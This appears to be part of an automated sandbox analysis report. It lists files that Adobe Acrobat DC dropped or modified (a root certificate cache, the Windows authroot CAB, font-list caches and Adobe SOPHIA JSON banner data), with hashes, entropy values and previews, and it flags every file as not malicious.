Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7321365340992054
Encrypted:	false
SSDEEP:	3:kkFklNw0ytfllXlE/HT8kikNNX8RolJuRdxLlGB9lQRYwpDdt:kK37eT84NMa8RdWBwRd
MD5:	3A0577FEC02CBD397D35477CA032527E
SHA1:	A0219971DC9A63C341E92ED8777CB5E2DE7DE559
SHA-256:	79C01937077D0C7C819961842830ACED3602326BD4C651FFFFF782EB5C930D62
SHA-512:	30364287D53A5558A4AE53FF2AE61F5086339B31DADB0C0762476A51EB348AE978023F5953475D9859D55B9A3590667711A3E90E6B47CFC2250A416DA27C9759
Malicious:	false
Preview:	p...... .........W.C.c..(....................................................... ..........W.....k..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1330815974444413
Encrypted:	false
SSDEEP:	6:kKFFsL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:oiDnLNkPlE99SNxAhUe/3
MD5:	1A5694C4D29FEC7758F83E7C01657534
SHA1:	3FECFB484D093774290EEA3748AAD5C3F24F6592
SHA-256:	011A61161D199D213CC003C0C87A15A6C0DCC5D379F00B6FFF0CC82EE8D6DE79
SHA-512:	66BB79060EB78FF2170FD925517776E8B4E81B2409C856624BDA01170C5B40B8F2766DDC48A9979F1B02198E0748DE7AFAB2EE43F7835105BFCA597170422770
Malicious:	false
Preview:	p...... .........=.V.c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1636

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1636

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3502282020744865
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTxSwr4O2UXjb24kF0YXlJKoAvJM3g98kUwPeUkwRe9:YvXKXTBr4O2UTbdqlGMbLUkee9
MD5:	78543FC0274FE1A63CBACA6F71B84B47
SHA1:	58A05588072EC02EE12CBEBDCFBCB4AB3EEA20CC
SHA-256:	4E797BA9A9851B5BC7A13269CDA7129700BABC70F79AEDDEB803356959BBBAB9
SHA-512:	74892DB70989405FF311E80E78C0C29014BF747FEDD22F74382C2EBC803FA9341C41EFACEB41542AEE256AEA94781717E1B86EADA15A3446B20AC3A4E7054CB7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a5f4255b-eeab-47c7-9e53-808d86eed404","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736747403320,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2844466012447855
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTxSwr4O2UXjb24kF0YXlJKoAvJfBoTfXpnrPeUkwRe9:YvXKXTBr4O2UTbdqlGWTfXcUkee9
MD5:	D9BDF42ACFF618CB2E821C691034C76A
SHA1:	8CA5DAF025392D6F060802CD977A975F8D5EFF1B
SHA-256:	1A5977448249CE29C97FF33C83D4AE2FDFB42EBC8AF2838C67688B260D68D440
SHA-512:	A7AC9CEC5CA91BD18072D54208A3DF78DFB1CC7BB4D1EFBE5401B224EEE49E36453896C1AD92CE21CB8D5A89F003406B342D9B15DBD55578748907E683BE8B78
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a5f4255b-eeab-47c7-9e53-808d86eed404","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736747403320,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.264218242952449
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTxSwr4O2UXjb24kF0YXlJKoAvJfBD2G6UpnrPeUkwRe9:YvXKXTBr4O2UTbdqlGR22cUkee9
MD5:	3A092F9A53EBCD87B87696181DD93697
SHA1:	A88B698F74B1FB4CC54611CEC3EE1DB52AFCEE37
SHA-256:	2DEA65579A11C5AB813891EDD0553AEC748AF88DE0267E80A60CE14F4430E4DD
SHA-512:	4C1DD672C91B59F66D9C36E7BCE5AD7A51B17331D81F25A7C7E3AAAD814F6D8EDA8E4399BD729E95B8D2E88B5AE92C8D7C08CC6FBA2CBA092BAA75DFD96411A5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a5f4255b-eeab-47c7-9e53-808d86eed404","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736747403320,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.324046028305788
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTxSwr4O2UXjb24kF0YXlJKoAvJfPmwrPeUkwRe9:YvXKXTBr4O2UTbdqlGH56Ukee9
MD5:	98700B03B339FCA6B08118D254F22E6E
SHA1:	3D616A6C63A8533B82190527E8784E149AFE627A
SHA-256:	DDADF74F643199F286B9EE2CB37B950CE17E5AC80744A617C91A01FBB0A691AD
SHA-512:	219E894D2EAB0D20558B8472E83D9354C397445F2BAD7CDC2A4EE67D388A42BD31B76027BEDE9FF54D5CEA8338DEAFF4D875182065B196CE3F2983CD318CC082
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a5f4255b-eeab-47c7-9e53-808d86eed404","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736747403320,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.684097474184403
Encrypted:	false
SSDEEP:	24:Yv6XTZ4UXAqpLgE9cQx8LennAvzBvkn0RCmK8czOCCSO:YvyZ4wAqhgy6SAFv5Ah8cv/O
MD5:	D33FB69376CE0620655940B8482EB722
SHA1:	C26113942CAF0A71574A081477F68B7E5D1A92F6
SHA-256:	496802F6E9E6E843E4F69B2933E517024BE090B667E622489A55F9389E8BCBDE
SHA-512:	6FE36E1228A3DC03B3689B302C7E9ED6F48312EF6BD43AB46B86A37A3D0E3F741145746BE9C18618E027DDEB9093A8EEB37C5C61B2EA340B47E7A4CAA34A42F8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a5f4255b-eeab-47c7-9e53-808d86eed404","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736747403320,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.261547130755196
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTxSwr4O2UXjb24kF0YXlJKoAvJf8dPeUkwRe9:YvXKXTBr4O2UTbdqlGU8Ukee9
MD5:	E585A152A230A645EEAB07569620E207
SHA1:	0CF5E35BDDD935B84A48892A66CD768A932F0FDE
SHA-256:	3A51B33526DE50A6879529E8A5131E802C2956F41B7B071DDC111933F15AC7AB
SHA-512:	A81B7314A71A58B05B0CD45E0A66EDE0953EBAC13EC2279D246535DD9BFB947F3E2EE1B658761F9B034C54B80E6FC3D0D9E59E7A34393ED21C1EC78F3AC50D0D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a5f4255b-eeab-47c7-9e53-808d86eed404","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736747403320,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2638125210892355
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTxSwr4O2UXjb24kF0YXlJKoAvJfQ1rPeUkwRe9:YvXKXTBr4O2UTbdqlGY16Ukee9
MD5:	AD7A1AB207FD69672704B32E7D3C707B
SHA1:	936A6FFB4F8CF8A23D85099CA4AEDB4ABD240EAB
SHA-256:	278A53DEEF2935292D1F79ADB9D378D1CF2ACA45A74B9E0D8C6A10212F4B7EBE
SHA-512:	15E9ADC5A476E3246FCBA4B29C41B29502566E9718C939BB4A8675B413ACEB536F99B60DCA0E19297163CDD3242C0920476D5DDB7D7CD67903A2E8413DCD8267
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a5f4255b-eeab-47c7-9e53-808d86eed404","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736747403320,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.273587882803278
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTxSwr4O2UXjb24kF0YXlJKoAvJfFldPeUkwRe9:YvXKXTBr4O2UTbdqlGz8Ukee9
MD5:	25D3EF0161A67DD86BF21B973C18526E
SHA1:	E88EDE1F8EE01A418D064C605372B9D69D5BB7CF
SHA-256:	0B629A03E1F6C59E6875212567DBF72800B05F050F39024F5388800691FE2342
SHA-512:	82DBD2033994D72F41FC4B657753AA5D89BB6A42741FD0CABFA49F800BEC4DC374951B34F5D63A60A4DABB5EA4EE56A3DFD988741D402FF86A6CB702CA112DA4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a5f4255b-eeab-47c7-9e53-808d86eed404","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736747403320,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.287197437003239
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTxSwr4O2UXjb24kF0YXlJKoAvJfzdPeUkwRe9:YvXKXTBr4O2UTbdqlGb8Ukee9
MD5:	651895001A1566FDEB84513C56C30F14
SHA1:	CD68FF256CE09172352C4206FC01C166996BC904
SHA-256:	68C08986929CE438F7D4004AF92FFCC737F469F95D26B3D34CE1F800470B3C41
SHA-512:	F75DD97C163BA31FB83EC481B1A30E389B3E12ACE26534DE997B272E3036658B3364E1626A259109E3D4DDF9EB3835E4BA08C54472FCA437C157B3E65E8AE655
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a5f4255b-eeab-47c7-9e53-808d86eed404","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736747403320,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.26717336973024
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTxSwr4O2UXjb24kF0YXlJKoAvJfYdPeUkwRe9:YvXKXTBr4O2UTbdqlGg8Ukee9
MD5:	04B4A081E9BE0671F2393DAD4ACA0DDB
SHA1:	B47A1B4762858846999CA09EDA4E3CC59577E310
SHA-256:	D99C470CFF2F11329A8C6E49CB292E1A46008348FE1A57BF7C8CC3E1823617D8
SHA-512:	B05AB3D4390357DAF9503A01671CC80B35F78EE70BF3EBACA86DF10C932D9CD08DAC42B14C543022DE17AAB05D430027DC24DFA43B829817A015AD9352B41200
Malicious:	false
